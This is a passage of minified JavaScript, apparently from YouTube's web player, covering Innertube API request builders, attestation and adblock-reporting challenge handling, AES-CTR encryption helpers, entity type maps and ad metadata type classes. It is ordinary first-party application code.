'script[name="mobile_blazer_watch_mod"]':"mbwj",'script[name="embed_client"]':"ecj",'link[rel="stylesheet"][name="embed-ui"]':"ecc"},Cem=(0,g.K4)(bc.clearResourceTimings||bc.webkitClearResourceTimings||bc.mozClearResourceTimings||bc.msClearResourceTimings||bc.oClearResourceTimings||g.qY,bc);var H73=window;H73.ytcsi&&(H73.ytcsi.infoGel=g.gO,H73.ytcsi.tick=a3);g.P(g.Nk,g.CS);var iZ3="tokens consistency mss client_location entities adblock_detection response_received_commands store PLAYER_PRELOAD shorts_prefetch".split(" "),Ebq=["type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseResponse","type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerResponse"];var jRX=new rQ("INNERTUBE_TRANSPORT_TOKEN");g.P(pl,xK);pl.prototype.j=function(){return ym9};
pl.prototype.Z=function(x){return g.N(x,Uv9)||void 0};
pl.prototype.C=function(x,T,t){t=t===void 0?{}:t;T.channelIds&&(x.channelIds=T.channelIds);T.siloName&&(x.siloName=T.siloName);T.params&&(x.params=T.params);t.botguardResponse&&(x.botguardResponse=t.botguardResponse);t.feature&&(x.clientFeature=t.feature)};
g.i3.Object.defineProperties(pl.prototype,{K:{configurable:!0,enumerable:!0,get:function(){return!0}}});g.P(OM,xK);OM.prototype.j=function(){return NHP};
OM.prototype.Z=function(x){return g.N(x,Yy9)||void 0};
OM.prototype.C=function(x,T){T.channelIds&&(x.channelIds=T.channelIds);T.siloName&&(x.siloName=T.siloName);T.params&&(x.params=T.params)};
g.i3.Object.defineProperties(OM.prototype,{K:{configurable:!0,enumerable:!0,get:function(){return!0}}});var i7P=new rQ("SHARE_CLIENT_PARAMS_PROVIDER_TOKEN");g.P(fl,xK);fl.prototype.j=function(){return awd};
fl.prototype.Z=function(x){return g.N(x,ZAF)||g.N(x,j2E)||g.N(x,qy3)};
fl.prototype.C=function(x,T){T.serializedShareEntity&&(x.serializedSharedEntity=T.serializedShareEntity);if(T.clientParamIdentifier){var t;if((t=this.D)==null?0:t.C(T.clientParamIdentifier))x.clientParams=this.D.Z(T.clientParamIdentifier)}};
fl[FX]=[i7P];g.P(wO,xK);wO.prototype.j=function(){return BHF};
wO.prototype.Z=function(x){return g.N(x,THd)||void 0};
wO.prototype.C=function(x,T,t){x.feedbackTokens=[];T.feedbackToken&&x.feedbackTokens.push(T.feedbackToken);if(T=T.cpn||t.cpn)x.feedbackContext={cpn:T};x.isFeedbackTokenUnencrypted=!!t.is_feedback_token_unencrypted;x.shouldMerge=!1;t.extra_feedback_tokens&&(x.shouldMerge=!0,x.feedbackTokens=x.feedbackTokens.concat(t.extra_feedback_tokens))};
g.i3.Object.defineProperties(wO.prototype,{K:{configurable:!0,enumerable:!0,get:function(){return!0}}});g.P(Kl,xK);Kl.prototype.j=function(){return WuE};
Kl.prototype.Z=function(x){return g.N(x,cmV)||void 0};
Kl.prototype.C=function(x,T){T.params&&(x.params=T.params);T.secondaryParams&&(x.secondaryParams=T.secondaryParams)};g.P(xg,xK);xg.prototype.j=function(){return DvM};
xg.prototype.Z=function(x){return g.N(x,Pgb)||void 0};
xg.prototype.C=function(x,T){T.actions&&(x.actions=T.actions);T.params&&(x.params=T.params);T.playlistId&&(x.playlistId=T.playlistId)};g.P(T7,xK);T7.prototype.j=function(){return guP};
T7.prototype.Z=function(x){return g.N(x,eY9)};
T7.prototype.C=function(x,T,t){t=t===void 0?{}:t;T.serializedShareEntity&&(x.serializedSharedEntity=T.serializedShareEntity);t.includeListId&&(x.includeListId=!0)};var IS9=new rQ("FETCH_FN_TOKEN"),EZ3=new rQ("PARSE_FN_TOKEN");var qdP=new rQ("NETWORK_SLI_TOKEN");of.prototype.fetch=function(x,T,t){var u=this,H,I,E;return g.G(function(Z){H=qsm(u,x,T);E=(I=u.Z)!=null?I:fetch;return Z.return(E(H).then(function(e){return u.handleResponse(e,t)}).catch(function(e){g.Vh(e);
if((t==null?0:t.oY)&&e instanceof g.Nk&&e.errorType===1)return Promise.reject(e)}))})};
of.prototype.handleResponse=function(x,T){var t,u=(t=this.j)!=null?t:JSON.parse;t=x.text().then(function(H){if((T==null?0:T.e79)&&x.ok)return vuv(T.e79,H);H=H.replace(")]}'","");if((T==null?0:T.oY)&&H)try{var I=u(H)}catch(Z){throw new g.Nk(1,"JSON parsing failed after fetch");}var E;return(E=I)!=null?E:u(H)});
x.redirected||x.ok?this.C&&this.C.success():(this.C&&this.C.ekf(),t=t.then(function(H){g.Vh(new g.CS("Error: API fetch failed",x.status,x.url,H));return Object.assign({},H,{errorMetadata:{status:x.status}})}));
return t};
of[FX]=[new zh(qdP),new zh(IS9),new zh(EZ3)];var ZZ5=new rQ("NETWORK_MANAGER_TOKEN");var tR;$g.prototype.bindInnertubeChallengeFetcher=function(x){this.C.bicf(x)};
$g.prototype.registerChallengeFetchedCallback=function(x){this.C.bcr(x)};
$g.prototype.getLatestChallengeResponse=function(){return this.C.blc()};var mDD=[],H5=!1;Z7.prototype.K=function(){var x=this;return g.G(function(T){return T.C==1?g.v(T,Promise.race([x.C,null]),2):T.return(!!T.Z)})};
Z7.prototype.j=function(x,T,t){var u=this,H,I,E;return g.G(function(Z){u.C===null&&Mqv(u,qi(u));H=!1;I={};E=function(){var e,l,m;return g.G(function(d){switch(d.C){case 1:return g.v(d,u.C,2);case 2:e=d.Z;I.challenge=e.challenge;if(!e.KF){"c1a"in e.yh&&(I.error="ATTESTATION_ERROR_VM_NOT_INITIALIZED");d.lG(3);break}l=Object.assign({},{c:e.challenge,e:x},T);g.PX(d,4);H=!0;if(g.R6("attbs")&&!g.R6("attmusi")){m=e.KF.Vk({Ek:l});d.lG(6);break}return g.v(d,e.KF.snapshot({Ek:l}),7);case 7:m=d.Z;case 6:m?I.webResponse=
m:I.error="ATTESTATION_ERROR_VM_NO_RESPONSE";g.cX(d,3);break;case 4:g.Yq(d),I.error="ATTESTATION_ERROR_VM_INTERNAL_ERROR";case 3:if(x==="ENGAGEMENT_TYPE_PLAYBACK"){var M=e.yh,A={};M.c6a&&(A.reportingStatus=String(Number(M.c)^iD()));M.c6b&&(A.broadSpectrumDetectionResult=String(Number(M.c)^Number(g.pr("CATSTAT",0))));I.adblockReporting=A}return d.return(I)}})};
return Z.return(Promise.race([E(),SsX(t,function(){var e=Object.assign({},I);H&&(e.error="ATTESTATION_ERROR_VM_TIMEOUT");return e})]))})};var UDq=["APP_STATE","PI"];var $NJ=[3611,27686,221058,85013,23462,241187,157557,42016,26926,51236,79148,50160,77504,153587,87907,18630,177018,177023,54445,80935,152172,184553,105675,150723,37521,147285,47786,231255,231254,231258,231259,98349,237299,168271,168954,168277,168273,168270,123695,226987,226990,226988,6827,29434,171388,244189,236208,7282,124448,196088,198104,32276,195115,195114,76278,200635,230594,147868,147869,93911,106531,225031,177843,27259,27262,27263,21759,160866,204249,222900,204250,180626,177959,177957,180628,
205716,197878,171243,160789,171244,171241,171245,171242,225560,180627,177960,231589,177958,180629,205717,197879,177565,212573,210709,230684,229801,230685,197337,209010,197336,197338,198618,175492,198052,198051,197852,197976,175493,175494,175495,189254,175496,175497,38408,175498,175503,175504,175505,175506,175507,175508,80637,68727,206933,207944,206934,206929,221575,68728,221576,80353,80356,249107,180635,74610,45707,83962,83970,46713,166591,89711,74612,213809,179607,245006,155792,93265,74611,131380,
128979,139311,128978,131391,105350,139312,134800,131392,113533,229298,93252,99357,94521,114252,113532,94522,94583,202371,88E3,139580,93253,93254,94387,94388,93255,97424,72502,219868,212991,110111,76019,117092,117093,89431,191831,110466,231346,77240,60508,186091,148123,148124,137401,137402,137046,73393,246776,113534,92098,131381,84517,83759,230676,249183,230679,230678,230677,230681,230680,162711,235234,162712,80357,243315,86113,72598,168413,72733,107349,124275,118203,200410,133275,160157,152569,156651,
133274,160159,160158,133272,133273,133276,144507,143247,175994,156652,143248,143249,143250,143251,189892,189894,189893,156653,214236,144401,117431,133797,225137,222612,222613,153964,201133,201134,201135,201136,201137,128572,200411,200412,190337,133405,117429,117430,177950,174734,177951,201138,201139,201140,201141,201142,117432,173996,173995,174953,173994,173997,120080,117259,178546,197891,156655,156654,121692,211414,211411,211412,211413,211403,184846,185993,145656,156656,145655,145653,145654,145657,
132972,133051,133658,132971,97615,181262,190762,143359,143356,143361,143358,143360,143357,142303,143353,172859,143354,144479,143355,31402,181590,133624,146477,133623,133622,133621,192418,84774,197993,241460,160801,197995,95117,172721,150497,98930,98931,98932,153320,153321,43347,249295,210016,210017,211851,211852,211853,129889,197888,197889,149123,221959,221627,221958,45474,100352,98443,117985,74613,155911,74614,64502,136032,74615,74616,122224,74617,77820,74618,226981,93278,93274,93275,93276,200688,
200686,200687,199841,22110,29433,133798,132295,120541,222112,82047,113550,75836,75837,192409,203221,42352,84512,76065,75989,205911,205912,205913,51879,16623,32594,27240,32633,74858,222932,213915,225216,218674,156999,3945,16989,45520,25488,25492,25494,232113,55760,14057,18451,57204,57203,17897,18198,17898,17909,43980,221053,195529,189660,46220,11721,147994,49954,96369,3854,217640,151633,56251,205192,216797,159108,181568,25624,152036,16906,99999,68172,47973,72773,26970,26971,96805,17752,73233,205923,
109512,22256,14115,22696,234409,234408,89278,89277,195745,109513,43278,43459,43464,89279,43717,55764,22255,147912,89281,40963,43277,43442,91824,120137,186350,186351,211026,96367,36850,72694,37414,36851,124863,121343,73491,54473,166861,43375,46674,242528,143815,139095,144402,149968,149969,32473,72901,72906,50612,50613,50942,84938,84943,84939,84941,84944,84940,84942,35585,51926,79983,18921,57893,41182,135732,33424,22207,36229,22206,22205,44763,33427,67793,22182,37091,34650,50617,22287,25144,97917,220122,
62397,150871,150874,125598,137935,36961,108035,27426,27857,27846,27854,69692,61411,39299,38696,62520,36382,108701,192682,50663,36387,14908,37533,105443,61635,62274,161670,133818,182119,65702,65703,65701,76256,196075,194768,194769,191885,233634,194770,195350,195349,194771,166382,37671,49953,220669,249229,213774,204572,191389,204574,187917,191390,179556,191402,238596,212661,191392,197826,191393,204573,36216,28237,241212,173718,39553,192547,29222,26107,241211,38050,26108,120745,26109,26110,66881,28236,
14586,160598,57929,226736,74723,44098,173689,44099,23528,61699,134104,134103,198313,59149,181013,173191,173192,173193,101951,171502,196043,198305,97346,118051,95102,64882,119505,63595,63349,240553,95101,75240,27039,68823,21537,83464,75707,170215,223033,83113,101952,101953,79610,125755,24402,24400,32925,193406,57173,183351,156421,122502,145268,138480,64423,64424,33986,100828,129089,21409,185612,222825,245366,135155,135156,135157,135158,158225,135159,135160,167651,135161,135162,135163,158226,158227,
135164,135165,135166,11070,11074,17880,30709,30707,30711,30710,30708,185213,185273,146143,63648,63649,221056,211189,111059,211188,5754,20445,233471,151308,151152,228067,130975,130976,247244,210815,246127,245256,244950,191925,167637,234545,197196,214295,110386,221054,113746,66557,183215,17310,28631,201935,21589,242036,238351,164817,168011,154946,68012,162617,60480,184431,138664,194E3,141121,164502,31571,195002,206793,141978,233985,150105,150106,150107,150108,76980,41577,45469,38669,13768,13777,141842,
62985,213190,4724,223052,59369,43927,43928,12924,197853,100355,56219,27669,209928,10337,203648,203649,47896,122629,186204,222824,139723,139722,121258,107598,127991,96639,107536,130169,216522,96661,145188,213904,96658,116646,159428,168611,168612,121122,219862,96660,127738,127083,155281,162959,220886,227356,248007,163566,186641,147842,217932,104443,96659,147595,106442,247162,231493,213427,246575,182423,162776,228908,134840,63667,63668,63669,130686,248381,147036,239094,189810,239095,78314,147799,237146,
174049,148649,55761,127098,134841,96368,67374,48992,146176,176105,233035,49956,190190,225739,31961,26388,23811,5E4,126250,96370,210549,47355,47356,37935,45521,21760,83769,49977,49974,93497,93498,34325,140759,115803,123707,100081,35309,237706,68314,25602,100339,170873,143516,178921,59018,18248,50625,9729,37168,37169,21667,16749,18635,39305,18046,221057,53969,8213,93926,221055,210542,212552,102852,110099,22678,69076,137575,139224,100856,235770,154430,235861,209757,17736,3832,147111,55759,64031,234746,
93044,93045,170701,170702,194796,34388,167841,170419,17657,17655,39579,39578,170412,77448,8196,11357,69877,8197,168501,156512,161613,156509,208274,161612,161614,82039];eS.prototype.getState=function(){return this.store.getState()};
eS.prototype.dispatch=function(x){return this.store.dispatch(x)};
eS.prototype.subscribe=function(x){return this.store.subscribe(x)};
eS.prototype.replaceReducer=function(x){return this.store.replaceReducer(x)};
eS.prototype[Symbol.observable]=function(){return this.store[Symbol.observable]()};g.q=mi.prototype;g.q.getLength=function(){return this.totalLength};
g.q.append=function(x){if(z4H(this,x)){var T=this.xg[this.xg.length-1];this.xg[this.xg.length-1]=new Uint8Array(T.buffer,T.byteOffset,T.length+x.length);AR(this)}else this.xg.push(x);this.totalLength+=x.length};
g.q.split=function(x){for(var T=new mi,t=new mi,u=g.S(this.xg),H=u.next();!H.done;H=u.next())H=H.value,x>=H.length?(T.append(H),x-=H.length):x?(T.append(new Uint8Array(H.buffer,H.byteOffset,x)),t.append(new Uint8Array(H.buffer,H.byteOffset+x,H.length-x)),x=0):t.append(H);return{gQ:T,kG:t}};
g.q.isFocused=function(x){return x>=this.zt&&x<this.zt+this.xg[this.Dw].length};
g.q.focus=function(x){if(!this.isFocused(x)){for(x<this.zt&&AR(this);this.zt+this.xg[this.Dw].length<=x&&this.Dw<this.xg.length;)this.zt+=this.xg[this.Dw].length,this.Dw+=1;this.M5=void 0}};
g.q.xk=function(x,T){return x+T<=this.totalLength};
g.q.IW=function(x,T){x=x===void 0?0:x;T=T===void 0?-1:T;if(!this.totalLength||!T)return new DataView(new ArrayBuffer(0));T<0&&(T=this.totalLength-x);this.focus(x);if(!Rf(this,x,T)){var t=this.Dw,u=this.zt;this.focus(x+T-1);u=new Uint8Array(this.zt+this.xg[this.Dw].length-u);for(var H=0,I=t;I<=this.Dw;I++)u.set(this.xg[I],H),H+=this.xg[I].length;this.xg.splice(t,this.Dw-t+1,u);AR(this);this.focus(x)}t=this.xg[this.Dw];return new DataView(t.buffer,t.byteOffset+x-this.zt,T)};
g.q.QX=function(x,T){x=this.IW(x===void 0?0:x,T===void 0?-1:T);return new Uint8Array(x.buffer,x.byteOffset,x.byteLength)};
g.q.getUint8=function(x){this.focus(x);return this.xg[this.Dw][x-this.zt]};var Yg,SS,bD;g.A$=function(){function x(u){for(var H=new Uint8Array(u.length),I=0;I<u.length;I++)H[I]=u[I];return H}
function T(u){return new Uint8Array(u)}
var t=new Uint8Array([1]);return t.length===1&&t[0]===1?T:x}();
Yg=Array(1024);SS=window.TextDecoder?new TextDecoder:void 0;bD=window.TextEncoder?new TextEncoder:void 0;for(var aL3={accountLinkStatusEntity:122,booleanEntity:307,buttonEntity:358,captionTrack:225,channelHandle:275,commerceAcquisitionClientPayloadEntity:276,commerceCartListEntity:236,contextNoteFeedEntityPayload:483,continuationTokenEntity:406,downloadQualityPickerEntity:202,downloadsPageRefreshTokenEntity:299,downloadsPageViewConfigurationEntity:264,downloadStatusEntity:141,dismissState:540,sfvAudioItemCurrentlyPlayingEntity:186,emojiFountainDataEntity:393,emojiCustomizationSetEntity:496,fakeChannel:2,
fakePlaylist:279,fakePlaylistEntryCollection:280,fakeVideo:182,fakeVideoDescription:278,featuredProductsEntity:392,flowStateEntity:252,iconBadgeEntity:229,interstitialInteractionStateEntity:443,likeButtonAnimationEntity:567,liveChatPollStateEntity:217,liveReactionsDataEntity:503,logoEntity:245,macroMarkerEntity:329,mainDownloadsLibraryEntity:158,mainDownloadsListEntity:164,mainPlaylistDownloadStateEntity:373,mainPlaylistEntity:306,mainPlaylistVideoEntity:368,mainVideoDownloadStateEntity:262,mainVideoEntity:261,
markersEngagementPanelSyncEntity:196,markersVisibilityOverrideEntity:312,musicAlbumReleaseDetail:18,musicAlbumReleaseDownloadMetadataEntity:259,musicAlbumRelease:17,musicAlbumReleaseUserDetail:19,musicArtistDetail:21,musicArtist:20,musicArtistUserDetail:22,musicDownloadsLibraryEntity:257,musicLibraryEdit:121,musicLibraryStatusEntity:318,musicPlaylist:24,musicPlaylistDownloadMetadataEntity:248,musicShare:100,musicTrackDetail:29,musicTrackDownloadMetadataEntity:234,musicTrack:28,musicTrackUserDetail:30,
offlineOrchestrationActionWrapperEntity:169,offlineVideoPolicy:130,offlineVideoStreams:198,offlineabilityEntity:246,orchestrationWebSamplingEntity:242,pageHeaderEntity:495,pdpStateEntity:524,pinnedProductEntity:273,playbackData:119,quantityIncrementerEntity:356,playerStateEntity:323,refresh:148,saveToPlaylistListEntity:231,settingEntity:297,stringEntity:382,suggestedFeedbackChipStateEntity:485,transfer:120,trendingOfferEntity:469,videoDownloadContextEntity:461,videoOverviewAsyncDataEntity:545,videoPlaybackPositionEntity:76,
votingEntity:561,ytMainChannelEntity:152,youchatPendingResponseEntity:553,ytMainDownloadedVideoEntity:155,ytMainVideoEntity:151},nb3={},Z70=g.S(Object.entries(aL3)),jyV=Z70.next();!jyV.done;jyV=Z70.next()){var et9=g.S(jyV.value),lSM=et9.next().value,m53=et9.next().value,d5h=lSM,MzM=m53;MzM&&(nb3[MzM]=d5h)};var WrD=!1,E7,ql,Zl,jG,eG;g.P(l1,g.W);
l1.prototype.encrypt=function(x){var T=x.length;x=new Uint8Array(x.buffer.slice(x.byteOffset,x.byteOffset+T));for(var t=this.Z,u=0;u<T&&this.C<16;)x[u++]^=t[this.C++];for(var H=T-(T-u)%16;u<H;)DDX(this),x[u++]^=t[0],x[u++]^=t[1],x[u++]^=t[2],x[u++]^=t[3],x[u++]^=t[4],x[u++]^=t[5],x[u++]^=t[6],x[u++]^=t[7],x[u++]^=t[8],x[u++]^=t[9],x[u++]^=t[10],x[u++]^=t[11],x[u++]^=t[12],x[u++]^=t[13],x[u++]^=t[14],x[u++]^=t[15];if(u<T)for(DDX(this),this.C=0;u<T;)x[u++]^=t[this.C++];return x};var d3=!1;(function(){function x(u){for(var H=new Uint8Array(u.length),I=0;I<u.length;I++)H[I]=u[I];return H}
function T(u){return new Uint8Array(u)}
var t=new Uint8Array([1]);return t.length===1&&t[0]===1?T:x})();
var Ml;g.RO.prototype.encrypt=function(x,T){var t=this,u,H;return g.G(function(I){if(I.C==1){u=Ad();if(!u)return I.return(t.C(x,T));g.PX(I,3);return g.v(I,t.Z(x,T,u),5)}if(I.C!=3)return I.return(I.Z);H=g.Yq(I);g.Vh(H);d3=!0;return I.return(t.C(x,T))})};
g.RO.prototype.Z=function(x,T,t){var u=this,H,I;return g.G(function(E){switch(E.C){case 1:if(u.T){E.lG(2);break}return g.v(E,t.importKey("raw",u.K,{name:"AES-CTR"},!1,["encrypt"]),3);case 3:u.T=E.Z;case 2:return H={name:"AES-CTR",counter:T,length:128},g.v(E,t.encrypt(H,u.T,x),4);case 4:return I=E.Z,E.return(new Uint8Array(I))}})};
g.RO.prototype.C=function(x,T){this.j||(this.j=new l1(this.K));ms(this.j,T);return this.j.encrypt(x)};
g.RO.prototype.decrypt=function(x,T){return this.encrypt(x,T)};
g.PC.prototype.encrypt=function(x,T){this.C||(this.C=new l1(this.Z));ms(this.C,T);return this.C.encrypt(x)};
g.PC.prototype.decrypt=function(x,T){return this.encrypt(x,T)};SG.prototype.reset=function(){NQf(this);this.update(this.j)};
SG.prototype.update=function(x){var T=0,t=x.length;this.K+=t;this.Z&&this.Z+t>=64&&(this.D.set(x.subarray(0,64-this.Z),this.Z),T=64-this.Z,this.Z=0,y1D(this,this.D,0));for(;T+64<=t;T+=64)y1D(this,x,T);T<t&&(x=x.subarray(T),this.D.set(x,this.Z),this.Z+=x.length)};
var cC=[1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,
4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298];var AC0;AC0={};g.RtF=g.X3("yt-idb-pref-storage",{wG:(AC0.prefs={Fs:1},AC0),shared:!1,upgrade:function(x,T){T(1)&&g.GG(g.zG(x,"prefs",{keyPath:"key"}),"byExpiration","expirationTimestampMs")},
version:1});var GC;GC={};g.PVh=(GC.INVALID_ENCODER_VERSION="Invalid encoder version",GC.KEY_CREATION_FAILED="Failed to create encoder key",GC.UNKNOWN_DECODE_ERROR="Failed to decode PES data",GC.UNKNOWN_ENCODE_ERROR="Failed to encode PES data",GC.WRONG_DATA_TYPE="Encoder cannot process the data type",GC);g.$Q("","downloadsPageViewConfigurationEntity");g.$Q("DOWNLOADS_LIST_ENTITY_ID_MANUAL_DOWNLOADS","mainDownloadsListEntity");g.Lp=g.$Q("DOWNLOADS_LIST_ENTITY_ID_SMART_DOWNLOADS","mainDownloadsListEntity");g.$Q("DOWNLOADS_LIST_ENTITY_ID_SMART_DOWNLOADS","refresh");g.$Q("SMART_DOWNLOADS_ENABLED","settingEntity");g.$Q("SMART_DOWNLOADS_OPT_IN_BANNER_DISMISSED","settingEntity");var iP3=["www.youtube-nocookie.com","www.youtubeeducation.com","youtube.googleapis.com"];g.q=U7.prototype;g.q.initialize=function(x,T,t,u){this.lf=u;if(x.program){var H;u=(H=x.interpreterUrl)!=null?H:null;if(x.interpreterSafeScript)H=vJV(x.interpreterSafeScript);else{var I;H=(I=x.interpreterScript)!=null?I:null}x.interpreterSafeUrl&&(u=SJ(x.interpreterSafeUrl).toString());HPi(this,H,u,x.program,T,t)}else g.Vh(Error("Cannot initialize botguard without program"))};
g.q.isInitialized=function(){return this.n3()};
g.q.getState=function(){return this.state};
g.q.isLoading=function(){return this.state===2};
g.q.invoke=function(x){x=x===void 0?{}:x;return this.n3()?this.An({Ek:x}):null};
g.q.dispose=function(){this.Tl(null);this.vk(8)};
g.q.n3=function(){return!!this.KF};
g.q.An=function(x){return this.KF.Vk(x)};
g.q.Tl=function(x){g.IP(this.KF);this.KF=x};
g.q.vk=function(x){this.state=x};g.P(r3,U7);r3.prototype.Tl=function(x){var T;(T=b1())==null||T.bgvma();x?(T={bgvma:x.dispose.bind(x),bgvmb:x.snapshot.bind(x),bgvmc:x.Vk.bind(x)},g.DC("yt.abuse.playerAttLoader",T),g.DC("yt.abuse.playerAttLoaderRun",function(t){return x.snapshot(t)})):(g.DC("yt.abuse.playerAttLoader",null),g.DC("yt.abuse.playerAttLoaderRun",null))};
r3.prototype.n3=function(){return!!b1()};
r3.prototype.An=function(x){return b1().bgvmc(x)};z_.prototype.LN=function(){return"crossDeviceProgressCommand"};
z_.prototype.PY=function(x){if(x.crossDevicePings){var T=[];x=g.S(x.crossDevicePings);for(var t=x.next();!t.done;t=x.next())T.push({baseUrl:t.value.baseUrl});g.io("crossDeviceNotificationTransfer",{crossDevicePings:T})}};kQ.prototype.LN=function(){return"muteAdEndpoint"};
kQ.prototype.PY=function(x,T){switch(x.type){case "SKIP":Ixq(this.Y$,this.HB,T)}};FS.prototype.LN=function(){return"openPopupAction"};
FS.prototype.PY=function(){};hd.prototype.LN=function(){return"pingingEndpoint"};
hd.prototype.PY=function(){};var mMf={clickTrackingParams:!0,commandMetadata:!0,loggingUrls:!0};g.P(qC5,g.W);var q$q={UmG:"FINAL",ymj:"AD_BREAK_LENGTH",IOm:"AD_CPN",Qm7:"AH",DmU:"AD_MT",TVW:"ASR",rm7:"AW",fwU:"NM",nz9:"NX",gz7:"NY",N_W:"CONN",Yku:"CPN",jF7:"DV_VIEWABILITY",lGm:"ERRORCODE",QFm:"ERROR_MSG",TEc:"EI",YUU:"GOOGLE_VIEWABILITY",kaQ:"IAS_VIEWABILITY",A7G:"LACT",VbW:"LIVE_TARGETING_CONTEXT",v$W:"I_X",SGZ:"I_Y",EGU:"MT",Zay:"MIDROLL_POS",j3y:"MIDROLL_POS_MS",KZm:"MOAT_INIT",dyj:"MOAT_VIEWABILITY",wwu:"P_H",s3f:"PV_H",VfQ:"PV_W",Yn7:"P_W",tfj:"TRIGGER_TYPE",lXy:"SDKV",qCy:"SLOT_POS",Jrm:"SURVEY_LOCAL_TIME_EPOCH_S",
YCm:"SURVEY_ELAPSED_MS",KZ:"VIS",IlU:"VIEWABILITY",DKU:"VED",TRf:"VOL",r8f:"WT",dpU:"YT_ERROR_CODE"};G_.prototype.LN=function(){return"urlEndpoint"};
G_.prototype.PY=function(x,T,t){var u=this.RU.get(),H=F0(u.Z.get(),T);H?T=Fv(u,skH(H),H,void 0,void 0,t):(E3("Trying to ping from an unknown layout",void 0,void 0,{layoutId:T}),T={});T=Object.assign({},T);pG(this.C,"h5_inplayer_enable_adcpn_macro_substitution_for_click_pings")&&(t=AH(this.LC,2))&&(T.AD_CPN=t.clientPlaybackNonce);T=g.h_(x.url,T);g.Dy(T,void 0,void 0,void 0,x.attributionSrcMode==="ATTRIBUTION_SRC_MODE_LABEL_CHROME")};LO.prototype.get=function(){return this.value};
g.P(nO,LO);nO.prototype.getType=function(){return"metadata_type_action_companion_ad_renderer"};
g.P(aO,LO);aO.prototype.getType=function(){return"metadata_type_top_banner_image_text_icon_buttoned_layout_view_model"};
g.P(g3,LO);g3.prototype.getType=function(){return"metadata_type_ads_engagement_panel_renderer"};
g.P(BC,LO);BC.prototype.getType=function(){return"metadata_type_ads_engagement_panel_layout_view_model"};
g.P(WC,LO);WC.prototype.getType=function(){return"metadata_type_ad_next_params"};
g.P(Dl,LO);Dl.prototype.getType=function(){return"metadata_type_ad_video_clickthrough_endpoint"};
g.P(yP,LO);yP.prototype.getType=function(){return"metadata_type_invideo_overlay_ad_renderer"};
g.P(Nl,LO);Nl.prototype.getType=function(){return"metadata_type_image_companion_ad_renderer"};
g.P(Jd,LO);Jd.prototype.getType=function(){return"metadata_type_banner_image_layout_view_model"};
g.P(CO,LO);CO.prototype.getType=function(){return"metadata_type_shopping_companion_carousel_renderer"};
g.P(QP,LO);QP.prototype.getType=function(){return"metadata_type_ad_info_ad_metadata"};
g.P(pO,LO);pO.prototype.getType=function(){return"metadata_ad_video_is_listed"};
g.P(O7,LO);O7.prototype.getType=function(){return"metadata_type_ad_placement_config"};
g.P(fO,LO);fO.prototype.getType=function(){return"metadata_type_ad_pod_info"};
g.P(w3,LO);w3.prototype.getType=function(){return"metadata_type_ad_pod_skip_index"};
g.P(KO,LO);KO.prototype.getType=function(){return"metadata_type_ad_pod_skip_target"};
g.P(XS,LO);XS.prototype.getType=function(){return"metadata_type_ad_pod_skip_target_callback_ref"};
g.P(xt,LO);xt.prototype.getType=function(){return"metadata_type_ad_video_id"};
g.P(TX,LO);TX.prototype.getType=function(){return"metadata_type_content_cpn"};
g.P(oH,LO);oH.prototype.getType=function(){return"metadata_type_instream_ad_player_overlay_renderer"};
g.P(tx,LO);tx.prototype.getType=function(){return"metadata_type_player_overlay_layout_renderer"};
g.P(u0,LO);u0.prototype.getType=function(){return"metadata_type_player_underlay_renderer"};
g.P($t,LO);$t.prototype.getType=function(){return"metadata_type_player_underlay_ad_slot_renderer"};
g.P(Hl,LO);Hl.prototype.getType=function(){return"metadata_type_media_associated_in_player_slot"};
g.P(i0,LO);i0.prototype.getType=function(){return"metadata_type_shrunken_player_bytes_config"};
g.P(IH,LO);IH.prototype.getType=function(){return"metadata_type_ad_action_interstitial_renderer"};
g.P(Ev,LO);Ev.prototype.getType=function(){return"metadata_type_valid_survey_text_interstitial_renderer"};
g.P(qc,LO);qc.prototype.getType=function(){return"METADATA_TYPE_VALID_INSTREAM_SURVEY_AD_RENDERER_FOR_DAI"};
g.P(Z4,LO);Z4.prototype.getType=function(){return"METADATA_TYPE_VALID_INSTREAM_SURVEY_AD_RENDERER_FOR_VOD"};
g.P(jt,LO);jt.prototype.getType=function(){return"metadata_type_sliding_text_player_overlay_renderer"};
g.P(et,LO);et.prototype.getType=function(){return"metadata_type_linked_player_bytes_layout_id"};
g.P(l0,LO);l0.prototype.getType=function(){return"metadata_type_linked_in_player_layout_id"};
g.P(d8,LO);d8.prototype.getType=function(){return"metadata_type_linked_in_player_layout_type"};
g.P(Mc,LO);Mc.prototype.getType=function(){return"metadata_type_linked_in_player_slot_id"};
g.P(Ax,LO);Ax.prototype.getType=function(){return"metadata_type_player_bytes_callback"};
g.P(RH,LO);RH.prototype.getType=function(){return"metadata_type_player_bytes_callback_ref"};
g.P(Pl,LO);Pl.prototype.getType=function(){return"metadata_type_player_bytes_layout_controls_callback_ref"};
g.P(St,LO);St.prototype.getType=function(){return"metadata_type_sub_layouts"};
g.P(cl,LO);cl.prototype.getType=function(){return"metadata_type_cue_point"};
g.P(Yt,LO);Yt.prototype.getType=function(){return"metadata_type_video_length_seconds"};
g.P(Uv,LO);Uv.prototype.getType=function(){return"metadata_type_player_vars"};
g.P(b0,LO);b0.prototype.getType=function(){return"metadata_type_preload_player_vars"};
g.P(r8,LO);r8.prototype.getType=function(){return"metadata_type_sodar_extension_data"};
g.P(zX,LO);zX.prototype.getType=function(){return"metadata_type_layout_enter_ms"};
g.P(kt,LO);kt.prototype.getType=function(){return"metadata_type_layout_exit_ms"};
g.P(F7,LO);F7.prototype.getType=function(){return"metadata_type_media_sub_layout_index"};
g.P(hx,LO);hx.prototype.getType=function(){return"metadata_type_dai"};
g.P(vl,LO);vl.prototype.getType=function(){return"metadata_type_ad_intro"};
g.P(VC,LO);VC.prototype.getType=function(){return"metadata_type_client_forecasting_ad_renderer"};
g.P(GX,LO);GX.prototype.getType=function(){return"metadata_type_drift_recovery_ms"};
g.P(Lc,LO);Lc.prototype.getType=function(){return"metadata_type_fulfilled_layout"};
